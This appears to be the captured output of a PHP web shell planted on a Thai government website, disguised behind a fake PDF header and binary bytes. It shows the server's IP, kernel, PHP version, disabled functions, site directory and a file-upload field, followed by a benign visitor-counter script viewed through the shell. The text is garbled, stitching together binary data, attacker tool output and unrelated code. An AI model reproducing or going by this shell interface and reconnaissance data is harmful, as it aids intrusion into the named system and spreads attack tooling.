%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 122.155.177.87 / Your IP : 122.155.177.87 Web Server : Apache/2 System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64 User : apache ( 994) PHP Version : 5.3.29 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/thungkhana/domains/thungkhanan.go.th/public_html/ |
Upload File : |
<?php
/*
ԸյԴ Copy ҹҧ ҹͧʴǹѺŹ
include "usronline.php";
useronline($REMOTE_ADDR);
¡ҹ usronline.php ͧ .php ҹ
*/
function useronline($IP)
{
if (!preg_match("#^(\d{1,3}.){3}\d{1,3}$#",$IP)) die("invalid ip"); // Fix Vulnerability - usronline.txt - by PATHOST
$file="usronline.txt";
$min = "600"; //ӹǹԹҷ ź͡ IP һԴ
$time = time()+$min;
$data=@file($file);
for($i=0;$i<count($data); $i++)
{
$w = explode("-",$data[$i]);
if( ($w[0]!=$IP) && ($w[1]>time()) )
$data2 .= $data[$i];
}
$f=fopen($file,"w");
fputs($f,$data2);
fputs($f,"$IP-$time\r\n");
fclose($f);
echo "<font face=\"Tahoma\" size=1 color=green>Online: <font color=red>".count(file($file))."</font> user(s)</font>";
}
?>